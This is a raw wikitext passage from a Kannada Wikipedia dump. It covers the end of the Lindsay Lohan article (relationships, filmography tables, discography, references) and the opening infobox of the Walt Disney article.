|archive-url=https://www.webcitation.org/5kEY3pZTZ?url=http://www.theinsider.com/news/1160539_Lohan_gets_political_on_blog_sounds_off_on_Palin |url-status=dead }}</ref><ref>{{cite web |title=Lindsay Lohan Blasts Palin on Blog |publisher=[[Fox News Channel|FOXNews]] |date=September 15, 2008 |url=http://www.foxnews.com/story/0,2933,422585,00.html |accessdate=September 26, 2008 }}</ref> === ಸಂಬಂಧಗಳು === ಲೋಹಾನ್ ಅವರು 2001 ರಲ್ಲಿ ಹಾಡುಗಾರ [[ಏರನ್ ಕಾರ್ಟರ್]] ಅವರನ್ನು ಡೇಟಿಂಗ್ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿದರು. ಲೋಹಾನ್‌ಗಾಗಿ ಕಾರ್ಟರ್ ಅವರು [[ಹಿಲರಿ ಡಫ್]] ಅವರನ್ನು ಬಿಟ್ಟರು, ಆದರೆ ಬೇಗನೆ ಲೋಹಾನ್ ಅವರೊಂದಿಗೆ ಬೇರ್ಪಟ್ಟು ಡಫ್ ಅವರೊಂದಿಗೆ ಡೇಟಿಂಗ್ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿದರು ಎಂದು ವರದಿ ಬಂದಿದೆ.<ref name="aaron">{{cite web |title=Carter Reveals All About Hilary and Lindsay Love Triangle|publisher=Contactmusic.com|url=http://www.contactmusic.com/new/xmlfeed.nsf/mndwebpages/carter%20reveals%20all%20about%20hilary%20and%20lindsay%20love%20triangle |date=February 18, 2005 |accessdate=May 10, 2006 }}</ref> ಮಾರ್ಚ್ 23, 2007 ರಂದು, ''[[ಸೆಲಬ್ರಿಟಿ ವ್ರೆಸ್ಟ್ಲಿಂಗ್ ಸರಣಿ ಸೆಲಬ್ರಿಟಿ ಡೆತ್ ಮ್ಯಾಚ್‌]]'' ನ [[ವೇರ್ ಈಜ್ ಲೋಹಾನ್?]] ಭಾಗದಲ್ಲಿ ಲೋಹಾನ್ ಮತ್ತು ಡಫ್ ಅವರ [[ಕ್ಲಮೇಶನ್]] ಬರಹಗಳು ಬಂದವು. ಕಾರ್ಟರ್‌ನೊಂದಿಗಿನ ತಮ್ಮ ಸಂಬಂಧದಿಂದಾಗಿ ಡಫ್ ಮತ್ತು ಲೋಹಾನ್ ಅವರು ಪರಸ್ಪರ ಹಗೆತನದಲ್ಲಿದ್ದರು ಎಂದು ನಂತರ ತಿಳಿದುಬಂದಿತು.<ref name="feud">{{cite web |author=Jeannette Walls |title=Lohan says Duff rebuffed her peace attempt |publisher=MSNBC.com |url=http://www.msnbc.msn.com/id/8669450/ |date=August 31, 2005 |accessdate=May 10, 2006 |archive-date=ಆಗಸ್ಟ್ 28, 2009 |archive-url=https://web.archive.org/web/20090828071910/http://www.msnbc.msn.com/id/8669450/ |url-status=dead }}</ref> 2007 ರಲ್ಲಿ, ಡಫ್ ಮತ್ತು ಲೋಹಾನ್ ಅವರು ರಾಜಿಯಾದರು. ಡಫ್ ಅವರ ''[[ಡಿಗ್ನಿಟಿ]]'' ಆಲ್ಬಂ ಬಿಡುಗಡೆ ಸಮಾರಂಭದಲ್ಲಿ ಲೋಹಾನ್ ಭಾಗವಹಿಸಿದರು ಮತ್ತು ಲೋಹಾನ್ ಅವರು "ಮೋಜಿನವರು" ಮತ್ತು "ಒಬ್ಬ ಒಳ್ಳೆಯ ಹುಡುಗಿ" ಎಂದು ತಿಳಿದಿದ್ದೆ ಎಂದು ''[[ಪೀಪಲ್]]'' ವೃತ್ತಪತ್ರಿಕೆಗೆ ಡಫ್ ಹೇಳಿದರು.<ref>{{cite web |author=Jennifer Garcia |title=Hilary Duff & Lindsay Lohan: Mean Girls No More|publisher=People.com| url=http://www.people.com/people/article/0,,20033534,00.html |date=April 4, 2007 |accessdate=April 9, 2007 }}</ref> 2003 ರಲ್ಲಿ ಲೋಹಾನ್ ಅವರು [[ವಿಲ್ಮರ್ ವಲ್ಡೆರಮಾ]] ಅವರನ್ನು ಡೇಟಿಂಗ್ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿದರು, ಮೇ 2004 ರವರೆಗೂ ಜೋಡಿಯು ಒಟ್ಟಿಗೆ ಎಲ್ಲಿಯೂ ಕಾಣಿಸಲಿಲ್ಲ ಮತ್ತು ಎರಡು ತಿಂಗಳುಗಳ ನಂತರ ಹಾಲಿವುಡ್ ನೈಟ್‌ಕ್ಲಬ್ ಅವಲಾನ್‌ನಲ್ಲಿ ಲೋಹಾನ್ ಅವರ 18ನೇ ಜನ್ಮದಿನದ ಸಂಭ್ರಮದವರೆಗೂ ಸಾರ್ವಜನಿಕವಾಗಿ ಕಾಣಿಸಿಕೊಳ್ಳಲಿಲ್ಲ; ನಂತರ 2004 ಅಂತ್ಯದಲ್ಲಿ ಇವರ ಜೋಡಿ ಬೇರೆಯಾಯಿತು.<ref>{{cite web|url=http://www.people.com/people/article/0,,781868,00.html|title=Lindsay Lohan, Wilmer Valderrama Split|access-date=2010-03-09|archive-date=2012-02-15|archive-url=https://www.webcitation.org/65TRrC6Lt?url=http://www.people.com/people/article/0,,781868,00.html|url-status=dead}}</ref> [[ಪಿಂಕ್ ಟ್ಯಾಕೊ]] ಉಪಹಾರ ಮಂದಿರದ ಮಾಲೀಕ [[ಹ್ಯಾರಿ ಮಾರ್ಟನ್]]<ref>{{cite web|url=http://www.people.com/people/article/0,26334,1538390,00.html|title=Lindsay Lohan & Harry Morton: It's Over?|access-date=2010-03-09|archive-date=2012-02-15|archive-url=https://www.webcitation.org/65TS7ELUf?url=http://www.people.com/people/article/0,26334,1538390,00.html|url-status=dead}}</ref> ಹಾಗೂ ಬ್ರಿಟಿಷ್ ಟಿವಿಯ ಹೆಸರಾಂತ [[ಕ್ಯಾಲಮ್ ಬೆಸ್ಟ್]] ಅವರೊಂದಿಗೂ ಸಹ ಲೋಹಾನ್ ಅವರು ಡೇಟಿಂಗ್ ಮಾಡಿದ್ದರು.<ref>{{cite web|url=http://www.people.com/people/article/0,,20038781,00.html|title=Lindsay Lohan & Calum Best's Romantic Escape|access-date=2010-03-09|archive-date=2012-02-15|archive-url=https://www.webcitation.org/65TSI5hZj?url=http://www.people.com/people/article/0,,20038781,00.html|url-status=dead}}</ref> [[ಉತಾ]]ದ ಸಿರ್ಕ್ಯು ಲಾಡ್ಜ್‌ನಲ್ಲಿ ಚಿಕಿತ್ಸೆ ಪಡೆಯುತ್ತಿರುವ ಸಮಯದಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ರಿಲೆ ಗಿಲಿಸ್ ಅವರನ್ನು ಭೇಟಿ ಮಾಡಿದರು ಹಾಗೂ ಡೇಟಿಂಗ್ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿದರು; ಆದಾಗ್ಯೂ ನವೆಂಬರ್ 2007 ಅಂತ್ಯದಲ್ಲಿ ಅವರು ಬೇರೆಯಾಗಿದ್ದಾರೆ ಎಂದು ಘೋಷಿಸಲಾಯಿತು. "ಲಿಂಡ್ಸೆ [ರಿಲೆ]ಯೊಂದಿಗೆ ಬೇರೆಯಾಗಿದ್ದಕ್ಕಾಗಿ ಲಿನ್ಸೆಗೆ ನೋವಾಗುವಂತೆ ಮಾಡಲು ರಿಲೆ ಉಗ್ರ ನಡವಳಿಕೆಗಳನ್ನು ತೆಗೆದುಕೊಂಡ" ಎಂದು ಲೋಹಾನ್ ಅವರ ತಾಯಿ [[ದಿನಾ ಲೋಹಾನ್]] ಹೇಳುತ್ತಾರೆ.<ref>{{cite web |url=http://www.people.com/people/article/0,,20169048,00.html |title=Dina Lohan: Riley 'Took Desperate Measures to Hurt Lindsay' |work=[[People (magazine)|People]] |access-date=2010-03-09 |archive-date=2012-02-15 |archive-url=https://www.webcitation.org/65TSIbaH6?url=http://www.people.com/people/article/0,,20169048,00.html |url-status=dead }}</ref> 2008 ರಲ್ಲಿ ಲೋಹಾನ್ ಮತ್ತು [[ಸಮಂತಾ ರೋನ್ಸನ್]] ಅವರು ತುಂಬಾ ಹತ್ತಿರವಾಗಿರುವುದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಸಾರ್ವಜನಿಕವಾಗಿ ಕಾಣಬಹುದಾಗಿತ್ತು, ಮತ್ತು ಜುಲೈನಲ್ಲಿ ಇವರ ಸಂಬಂಧವನ್ನು ಪ್ರಣಯ ಸಂಬಂಧ ಎಂದು ಹಲವಾರು ದಿನಪತ್ರಿಕೆಗಳು ವಿವರಿಸಿದವು.<ref name="LATimesLoRon">{{cite web |url=http://www.latimes.com/entertainment/news/celebrity/la-ca-lindsaylohan20-2008jul20,0,4097826.story |title=Lindsay Lohan & Samantha Ronson: Read all about it |accessdate=August 2, 2008 |author=Kate Arthur |date=July 20, 2008 |publisher=Los Angeles Times }}</ref><ref>{{cite web |url=https://www.theguardian.com/commentisfree/2008/jul/14/gayrights.celebrity?gusrc=rss&feed=networkfront |title=Will Lindsay Lohan fight tinseltown prejudice? |accessdate=August 2, 2008 |author=Bidisha |date=July 14, 2008 |work=guardian.co.uk |publisher=Guardian Media Group }}</ref><ref name="TimesLoRon">{{cite web |url=http://women.timesonline.co.uk/tol/life_and_style/women/fashion/article4343457.ece|title=Lesbian Chic |author=Sally Brampton |publisher=[[The Times]] |date=July 20, 2008 |accessdate=August 2, 2008 }}</ref> ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ''[[ನ್ಯೂ ಯಾರ್ಕ್ ಪೋಸ್ಟ್‌]]'' ಗೆ ರೋನ್ಸನ್ ಕುರಿತು ಈ ರೀತಿ ಇ-ಮೇಲ್ ಬರೆದರು: "ನಾನು ಅವಳಿಗಾಗಿ ಹೆಚ್ಚು ಕಾಳಜಿ ವಹಿಸುತ್ತೇನೆ ಮತ್ತು ಅವಳು ಉತ್ತಮ ಹುಡುಗಿ... ನಾನು ಅವಳನ್ನು ಪ್ರೀತಿಸುವಂತೆ, ಅವಳು ನನ್ನನ್ನು ಪ್ರೀತಿಸುತ್ತಾಳೆ."<ref name="Lindsay Dad">{{cite news |url=http://www.nypost.com/seven/09242008/gossip/pagesix/lindsay_dad__sams_hideous_130425.htm |title=Lindsay Dad: Sam's 'Hideous' |last=Johnson |first=Richard |coauthors=Paula Froelich, Bill Hoffman, and Corynne Steindler |date=September 24, 2008 |work=Page 6 |publisher=[[New York Post]] |pages=6 |accessdate=November 12, 2008 |archiveurl=https://archive.today/20130104052338/http://www.nypost.com/p/pagesix/item_qaiSpxxn85NJfjEmS7sKdN;jsessionid=C35EF27A9DA65F4D67D470E1632FD2F5 |archivedate=ಜನವರಿ 4, 2013 |url-status=live }}</ref><ref name="omg-lindsaytodad">{{cite news |url=https://omg.yahoo.com/news/lindsay-to-dad-samantha-loves-me-as-i-do-her/13457;_ylt=AgdorqK6HzyR59j7EvFiclihpxx.;_ylv=3 |title=Lindsay To Dad: Samantha 'Loves Me, As I Do Her' |publisher=Access Hollywood via Omg! |date=September 24, 2008 |accessdate=October 12, 2008 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಡಿಸೆಂಬರ್ 2008 ರಲ್ಲಿನ ''[[ಹಾರ್ಪರ್ಸ್ ಬಜಾರ್]]'' ವಿಷಯದಲ್ಲಿ "ನಾನು ಯಾರನ್ನು ನೋಡುತ್ತಿದ್ದೇನೆ ಎಂಬುದು ವ್ಯಕ್ತವಾಗಿ ಕಾಣಿಸುತ್ತಿದೆ... ಇದು ತುಂಬಾ ಸಮಯದಿಂದ ನಡೆದುಕೊಂಡುಬರುತ್ತಿರುವುದರಿಂದ ಯಾರಿಗೂ ಇದು ಆಘಾತವಾಗಿಲ್ಲ ಎಂದು ನಾನು ಭಾವಿಸುತ್ತೇನೆ." ಅವರ [[ಲೈಂಗಿಕ ಮನೋಭಾವ]]ದ ಕುರಿತು ಮಾತನಾಡುವಾಗ, ಇವರು [[ಸಲಿಂಗಕಾಮಿನಿ]] ಅಲ್ಲ ಎಂದು ಲೋಹಾನ್ ಹೇಳಿದ್ದರು, ಆದರೆ ಇವರು [[ಉಭಯಲಿಂಗಿ]]ಯೆ ಎಂದು ಕೇಳಿದ್ದಕ್ಕಾಗಿ, ಇವರು "ಇರಬಹುದು. ಹೌದು" ಎಂದು ಉತ್ತರಿಸಿದ್ದರು. ಇವರು ನಂತರ, "ನಾನು ನನ್ನ ಕುರಿತು ವರ್ಗೀಕರಿಸಿಕೊಳ್ಳಲು ಬಯಸುವುದಿಲ್ಲ" ಎಂದು ಪ್ರತಿಕ್ರಿಯಿಸಿದ್ದರು. ಅವರ ತಂದೆ ಮೈಕೇಲ್ ಅವರನ್ನು ಹೊರತುಪಡಿಸಿ ಅವರ ಕುಟುಂಬದವರು ರೋನ್ಸನ್ ಅವರೊಂದಿಗಿನ ಸಂಬಂಧಕ್ಕೆ ಬೆಂಬಲಿತವಾಗಿದೆ ಎಂದು ಲೋಹಾನ್ ಹೇಳುತ್ತಾರೆ.<ref name="harperdec2008">{{cite web |url=http://www.harpersbazaar.com/magazine/cover/lindsay-lohan-cover-story-1208-2|title=Lindsay Lohan: Myth vs. Reality}}</ref> ಜೋಡಿಯು [[ಏಪ್ರಿಲ್ 2009]] ರಲ್ಲಿ ಬೇರ್ಪಡೆ ಹೊಂದಿತು. ''[[ಯುಎಸ್ ವಾರಪತ್ರಿಕೆ]]'' ಯಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಬೇರ್ಪಡೆ ಹೊಂದಿದ್ದರ ಕುರಿತು ಸಂದರ್ಶನ ಏರ್ಪಡಿಸಿತ್ತು.<ref>{{cite web |url=https://omg.yahoo.com/news/lindsay-lohan-in-tears-i-m-in-absolute-hell/20973?nc |title=Lindsay Lohan in Tears: I'm in 'Absolute Hell' |publisher=Us Magazine via Omg! |date=April 8, 2009 |accessdate=October 3, 2009 |archive-date=ಏಪ್ರಿಲ್ 11, 2009 |archive-url=https://web.archive.org/web/20090411183943/http://omg.yahoo.com/news/lindsay-lohan-in-tears-i-m-in-absolute-hell/20973?nc |url-status=dead }}</ref> == ಚಲನಚಿತ್ರಗಳ ಪಟ್ಟಿ == === ಚಲನಚಿತ್ರಗಳು === {|ವರ್ಗ="ವಿಕಿಟೇಬಲ್" ಶೈಲಿ="ಅಕ್ಷರ-ಗಾತ್ರ: 90%;" ಅಂಚು="2" ಸೆಲ್‌ಪ್ಯಾಡಿಂಗ್="4" ಹಿನ್ನೆಲೆ: #f9f9f9; |- ಸಾಲು="ಕೇಂದ್ರ" ! ಶೈಲಿ="ಹಿನ್ನಲೆ:#B0C4DE;" | ವರ್ಷ ! ಶೈಲಿ="ಹಿನ್ನಲೆ:#B0C4DE;" | ಚಿತ್ರ ! ಶೈಲಿ="ಹಿನ್ನಲೆ:#B0C4DE;" | ಪಾತ್ರ ! ಶೈಲಿ="ಹಿನ್ನೆಲೆ:#B0C4DE;" | ಟಿಪ್ಪಣಿಗಳು |- | [[೧೯೯೮]] || ''[[ದಿ ಪೇರೆಂಟ್ ಟ್ರಾಪ್]]'' || ಹ್ಯಾಲಿ ಪಾರ್ಕರ್ / ಅನ್ನೀ ಜೇಮ್ಸ್ || ''ಪುನಃತಯಾರಿಸು'' |- | [[೨೦೦೩]] || ''[[ಫ್ರೇಕಿ ಫ್ರೈಡೆ]]'' || ಅನ್ನಾ ಕೋಲೆಮನ್|| ''ಪುನಃತಯಾರಿಸು'' |- | ರೋಸ್‌ಪಾನ್=2 | [[2004]] || ''[[ಟೀನೇಜ್ ಡ್ರಾಮಾ ಕ್ವೀನ್‌ನ ತಪ್ಪೊಪ್ಪಿಗೆ]]'' || ಮೇರಿ ಎಲಿಜಬೆತ್ "ಲೋಲಾ" Cep|| |- | ''[[ಮೀನ್ ಗರ್ಲ್ಸ್]]'' || ಕ್ಯಾಡಿ ಹೆರೋನ್|| |- | [[೨೦೦೫]] ||''[[Herbie: Fully Loaded]]'' || ಮ್ಯಾಗಿ ಪೇಟಾನ್|| ''ಪುನಃತಯಾರಿಸು'' |- | ರೋಸ್‌ಪಾನ್="3"| [[೨೦೦೬]] || ''[[ಜಸ್ಟ್ ಮೈ ಲಕ್]]'' || ಆಶ್‌ಲೇ ಆಲ್‌ಬ್ರೈಟ್|| |- | ''[[ಎ ಪ್ಯಾರಿ ಹೋಮ್ ಕಂಪ್ಯಾನಿಯನ್]]'' ||ಲೋಲಾ ಜಾನ್ಸನ್|| |- | ''[[ಬಾಬಿ]]'' || ಡೈನೆ ಹೌಸರ್|| |- |- | ರೋಸ್‌ಪಾನ್="2"| [[೨೦೦೭]] ||''[[ಜಾರ್ಜಿಯಾ ರೂಲ್]]'' || ರಾಚೆಲ್ ವಿಲ್‌ಕಾಸ್ಸ್ || |- | ''[[ಐ ನೋ ಹೂ ಕಿಲ್‌ಡ್ ಮಿ]]'' || ಆಬ್ರೇ ಪ್ಲೆಮಿಂಗ್ / ಡಕೋಟಾ ಮಾಸ್|| |- | ರೋಸ್‌ಪಾನ್="1"| [[೨೦೦೮]] || ''[[ಅಧ್ಯಯನ 27]]'' || ಜುಡೇ ಹಾನ್ಸನ್ || |- | ರೋಸ್‌ಪಾನ್="3"| [[೨೦೧೦]] || | ''[[ಮ್ಯಾಚೆಟ್]]'' || ಏಪ್ರಿಲ್ || (ಜಾಹಿರಾತು-ನಿರ್ಮಾಣ) |- |''[[ದಿ ಅದರ್ ಸೈಡ್]]'' || ಮ್ಯಾಕ್ಸ್ ಮ್ಯಾಕೆನ್‌ಜೀ || (pre-production) |- | ''ಡೇರ್ ಟು ಲವ್ ಮೀ'' || ಲಾ ರಿಟಾನಾ || (pre-producation) |} {|ವರ್ಗ="ವಿಕಿಟೇಬಲ್" ಶೈಲಿ="ಅಕ್ಷರ-ಗಾತ್ರ: 90%;" ಅಂಚು="2" ಸೆಲ್‌ಪ್ಯಾಡಿಂಗ್="4" ಹಿನ್ನೆಲೆ: #f9f9f9; |- ಸಾಲು="ಕೇಂದ್ರ" ! ಕಾಲ್ಸಾನ್=4 ಶೈಲಿ="ಹಿನ್ನಲೆ:#B0C4DE;" | ದೂರದರ್ಶನ ಅಥವಾ ವಿಡಿಯೋಗಾಗಿ ಸಿನಿಮಾ ತಯಾರಿಸಲಾಗುತ್ತದೆ |- ಸಾಲು="ಕೇಂದ್ರ" ! ಶೈಲಿ="ಹಿನ್ನಲೆ: #CCCCCC;" | ವರ್ಷ ! ಶೈಲಿ="ಹಿನ್ನಲೆ: #CCCCCC;" | ಶೀರ್ಷಿಕೆ ! ಶೈಲಿ="ಹಿನ್ನಲೆ: #CCCCCC;" | ಪಾತ್ರ ! ಶೈಲಿ="ಹಿನ್ನಲೆ: #CCCCCC;" | ವಿತರಣೆಕಾರ |- | [[೨೦೦೦]] || ''[[ಜೀವನ-ಗಾತ್ರ]]'' || ಕ್ಯಾಸೆ ಸ್ಟ್ರಾಟ್|| [[ಎಬಿಸಿ]] |- | [[೨೦೦೨]] || ''[[ಸುಳಿವು ಪಡೆಯಿರಿ]]'' || ಲೆಕ್ಸ್ ಗೋಲ್ಡ್ || [[ಡಿಸ್ನೆ ಚಾನಲ್ ಓರಿಜಿನಲ್ ಮೂವಿ]] |- | [[೨೦೦೯]] || ''[[ಲೇಬರ್ ಪೇನ್ಸ್]]'' || ಥೀ ಕ್ಲೇಹಿಲ್ || ಎಬಿಸಿ ಪರಿವಾರ |} === ಕಿರುತೆರೆ === {|ವರ್ಗ="ವಿಕಿಟೇಬಲ್" ಶೈಲಿ="ಅಕ್ಷರ-ಗಾತ್ರ: 90%;" ಅಂಚು="2" ಸೆಲ್‌ಪ್ಯಾಡಿಂಗ್="4" ಹಿನ್ನೆಲೆ: #f9f9f9; |- ಸಾಲು="ಕೇಂದ್ರ" ! ಶೈಲಿ="ಹಿನ್ನಲೆ:#B0C4DE;" | ವರ್ಷ ! ಶೈಲಿ="ಹಿನ್ನಲೆ:#B0C4DE;" | ಶಿರೋನಾಮ ! ಶೈಲಿ="ಹಿನ್ನಲೆ:#B0C4DE;" | ಪಾತ್ರ ! ಶೈಲಿ="ಹಿನ್ನೆಲೆ:#B0C4DE;" | ಟಿಪ್ಪಣಿಗಳು |- | 1996 || ''[[ಅನೆದರ್ ವರ್ಲ್ಡ್]]'' || ಅಲ್ಲಿ ಫ್ಲವರ್ || [[ಸೋಪ್ ಒಪೇರಾ]] |- | 2000 || ''[[ಬೆಟ್ಟೆ]]'' || ರೋಸ್ ಮಿಡ್ಲರ್ || "ಪೈಲಟ್" (ಕಾಲ 1, ಭಾಗ 1) |- | 2004 || ''[[ಕಿಂಗ್ ಆಫ್ ದಿ ಹಿಲ್]]'' || ಜೆನ್ನಿ ಮೆಡಿನಾ || "ಟಾಕಿಂಗ್ ಶಾಪ್" (ಕಾಲ 8, ವಿಭಾಗ 22) |- | 2005 || ''[[ದಟ್ '70s ಷೋ]]'' || ಡೇನಿಲ್ಲೆ || "ಮದರ್ಸ್ ಲಿಟಲ್ ಹೆಲ್ಪರ್" (ಕಾಲ 7, ಭಾಗ 7) |- | 2008 || ''[[ಅಗ್ಲಿ ಬೆಟ್ಟಿ]]'' || ಕಿಮ್ಮಿ ಕೀಗನ್|| ''ವಿವಿಧ ಭಾಗಗಳು'' (ಕಾಲ 3, ಭಾಗಗಳು1,4 & 5) |- | 2009 || ''[[ಪ್ರಾಜೆಕ್ಟ್ ರನ್‌ವೇ]]'' || ಗೆಸ್ಟ್ ಜಡ್ಜ್ || "ವೆಲ್‌ಕಮ್ ಟು ಲಾಸ್ ಏಂಜಲ್ಸ್!" (ಕಾಲ 6, ಭಾಗ 1) |} == ಧ್ವನಿಮುದ್ರಿಕೆ ಪಟ್ಟಿ == {{Main|Lindsay Lohan discography}} * ''[[ಸ್ಪೀಕ್]]'' (2004) * ''[[ಎ ಲಿಟಲ್ ಮೋರ್ ಪರ್ಸನಲ್(ರೋ)]]'' (2005) == ಆಕರಗಳು == ;ಸಾಮಾನ್ಯ {{refbegin}} * {{cite web |last=Apodaca |first=Rose |url=http://www.harpersbazaar.com/magazine/cover/lindsay-lohan-0308 |title=Lindsay's Super Comeback |date=March 2008 |publisher=Harper's Bazaar |archiveurl=https://web.archive.org/web/20080210065152/http://www.harpersbazaar.com/magazine/cover/lindsay-lohan-0308 |archivedate=February 10, 2008 |accessdate=August 26, 2008 |ref=harv }} * {{cite news |last=Bachrach |first=Judy |url=http://www.accessmylibrary.com/coms2/summary_0286-32577102_ITM |title=Coming of Age |date=May 1, 2007 |publisher=Allure |accessdate=August 31, 2008 |ref=harv |archiveurl=https://archive.today/20150522073912/https://www.questia.com/ |archivedate=ಮೇ 22, 2015 |url-status=live }}{{subscription}} * {{cite web |last=Finn |first=Natalie |url=http://www.eonline.com/uberblog/b54314_lindsay_focusing_on_recovery_loses.html |title=Lindsay, Focusing on Recovery, Loses ''Importance'' |date=February 1, 2007 |publisher=E! Online |accessdate=October 2, 2009 |ref=harv }} * {{cite web |last=Halbfinger |first=David M. |url=https://www.nytimes.com/2007/07/25/business/media/25sony.html |title=Lohan’s Arrest Spells Trouble for 2 Movies |date=July 25, 2007 |publisher=[[ದ ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್]] |accessdate=October 3, 2009 |ref=harv }} * {{cite news |last=Kaylin |first=Lucy |title=You Don't Mess With the Lohan |publisher=Marie Claire |date=October 2008 |url=http://www.marieclaire.com/hair/celebrity/behind-scenes/lindsay-lohan-interview-ronson |accessdate=September 26, 2008 |ref=harv |archive-date=ಡಿಸೆಂಬರ್ 20, 2008 |archive-url=https://web.archive.org/web/20081220110156/http://www.marieclaire.com/hair/celebrity/behind-scenes/lindsay-lohan-interview-ronson |url-status=dead }} * {{cite web |last=Peretz |first=Evgenia |title=Confessions of a Teenage Movie Queen |publisher=Vanity Fair |date=February 1, 2006 |url=http://www.accessmylibrary.com/coms2/summary_0286-12652929_ITM |accessdate=September 3, 2008 |ref=harv |archiveurl=https://archive.today/20150522074028/https://www.questia.com/ |archivedate=ಮೇ 22, 2015 |url-status=live }}{{subscription}} {{refend}} ;ನಿರ್ದಿಷ್ಟ {{Reflist|2}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{wikicommons}} {{wikiquote}} * [http://lohanhouse.com/lindsays-room ಲಿಂಡ್ಸೇ ರೂಮ್] ವ್ಯಾವಹಾರಿಕ ಲೋಹನ್ ಪರಿವಾರದ ವೆಬ್‌ಸೈಟ್ LohanHouse.com * {{MySpace|lindsaylohan|Lindsay Lohan official page}} * {{allmusicguide|id=11:0ifexqtaldae}} * {{imdb name|0517820}} * {{tv.com person|id=1261|name=Lindsay Lohan}} * {{people.com}} * [[ಟ್ವಿಟ್ಟರ್‌]]ನಲ್ಲಿ ಲಿಂಡ್ಸೇ ಲೋಹನ್ [http://twitter.com/sevinnyne6126 ಸೆವಿನ್ನೀ6126], [http://twitter.com/lindsaylohan ಲಿಂಡ್ಸೇ ಲೋಹನ್] {{start box}} {{succession box |before=[[Seann William Scott]] and [[Justin Timberlake]] |title=[[MTV Movie Awards]] host |years=[[2004 MTV Movie Awards|2004]] |after=[[Jimmy Fallon]]}} {{end box}} {{Lindsay Lohan}} {{Persondata |NAME=Lohan, Lindsay Dee |ALTERNATIVE NAMES=Lohan, Lindsay Morgan |SHORT DESCRIPTION=American actress and pop singer |DATE OF BIRTH=July 2, 1986 |PLACE OF BIRTH=[[New York City, New York]], United States |DATE OF DEATH= |PLACE OF DEATH= }} {{DEFAULTSORT:Lohan, Lindsay}} [[ವರ್ಗ:ನ್ಯೂ ಯಾರ್ಕ್‌‌ನ ನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕದ ಬಾಲನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್ ಗಾಯಕ -ಮಕ್ಕಳ / ಹಾಡುಗಾರ ಮಕ್ಕಳು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ಮಹಿಳಾ ರೂಪದರ್ಶಿಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕಾ ದ ಮಹಿಳಾ ಗಾಯಕರು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ಚಲನಚಿತ್ರ ನಟರು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ಪಾಪ್ ಗಾಯಕರುಜ್]] [[ವರ್ಗ:ಅಮೆರಿಕನ್ ರೋಮನ್ ಕ್ಯಾಥೊಲಿಕ್ಸ್‌]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ಧಾರವಾಹಿ ನಟರು]] [[ವರ್ಗ:ಅಮೇರಿಕಾದ‌ ದೂರದರ್ಶನ ನಟರು]] [[ವರ್ಗ:ಐರಿಷ್‌-ಅಮೆರಿಕದ ಸಂಗೀತಗಾರರು]] [[ವರ್ಗ:ಇಟಲಿ-ಅಮೆರಿಕದ ಸಂಗೀತಗಾರರು]] [[ವರ್ಗ:ಮೂಟೌನ್ ದಾಖಲೆಗಳ ಕಲೆಗಾರರು]] [[ವರ್ಗ:ನ್ಯೂ ಯಾರ್ಕ ಸಿಟಿಯ ಸಂಗೀತಗಾರರು]] [[ವರ್ಗ:ಆಲ್ಕೋಹಾಲ್‌ಗೆ ಸಂಬಂಧಿಸಿದ ವಾಹನ ಚಾಲನೆ ಆಪಾದನೆಯಲ್ಲಿ ಬಂಧಿತದಾರ ಜನರು]] [[ವರ್ಗ:ನಸುವಾ ದೇಶದ ಜನರು, ನ್ಯೂ ಯಾರ್ಕ್]] [[ವರ್ಗ:ತಮ್ಮನ್ನು ಸ್ವತಃ ಮದ್ಯವ್ಯಸನಿಗಳೆಂದು ಗುರುತಿಸಿಕೊಳ್ಳುವ ಜನ]] [[ವರ್ಗ:1986ರಲ್ಲಿ ಜನಿಸಿದವರು]] [[ವರ್ಗ:ಸಮಕಾಲೀನ ಜನರು]] [[ವರ್ಗ:ಕಳಪೆ ನಟಿ: ಗೋಲ್ಡನ್ ರಾಸ್ಪ್-ಬೆರ್ರಿ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು]] [[ವರ್ಗ:ವರ್ಸ್ಟ್ ಸ್ಕ್ರೀನ್ ಕಪಲ್ ಗೊಲ್ಡ್ ನ್ ರಾಸ್ಪ್ ಬೆರ್ರ್ಯ್ ಅವಾರ್ಡ್ವ ವಿನ್ನರ್ಸ್]] 4r4lmv4psmrmnfexx1hw70lmih3kht1 ವಾಲ್ಟ್ ಡಿಸ್ನಿ 0 22777 1116454 1087025 2022-08-23T12:57:45Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Person | name = ವಾಲ್ಟ್ ಈ. ಡಿಸ್ನಿ | image = Walt disney portrait.jpg | imagesize = 220px | birth_name = ವಾಲ್ಟರ್ ಎಲಿಯಾಸ್ ಡಿಸ್ನಿ | birth_date = {{birth date|mf=yes|1901|12|5}}<ref>{{cite web|accessdate=2008-05-21|url=http://www.imdb.com/name/nm0000370/|title=Walt Disney|publisher=[[IMDB]]}}</ref> | birth_place =[[ಚಿಕಾಗೋ]], [[ಅಮೇರಿಕ ದೇಶ|ಅಮೇರಿಕ]] | death_date = {{death date and age|mf=yes|1966|12|15|1901|12|5}} | death_place = [[Burbank, California]], [[ಅಮೇರಿಕ ದೇಶ|ಅಮೇರಿಕ]] | occupation = [[ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕ]],<br /> Co-founder of [[The Walt Disney Company]], formerly known as [[The Walt Disney Company#The Eisner era (1984–2005)|Walt Disney Productions]] | yearsactive = 1920–1966 | spouse = [[Lillian Disney|Lillian Bounds]] (1925-1966) | signature = Walt Disney Signature 2.svg }} '''ವಾಲ್ಟರ್‌ ಎಲಿಯಾಸ್‌''' "'''ವಾಲ್ಟ್‌''' " 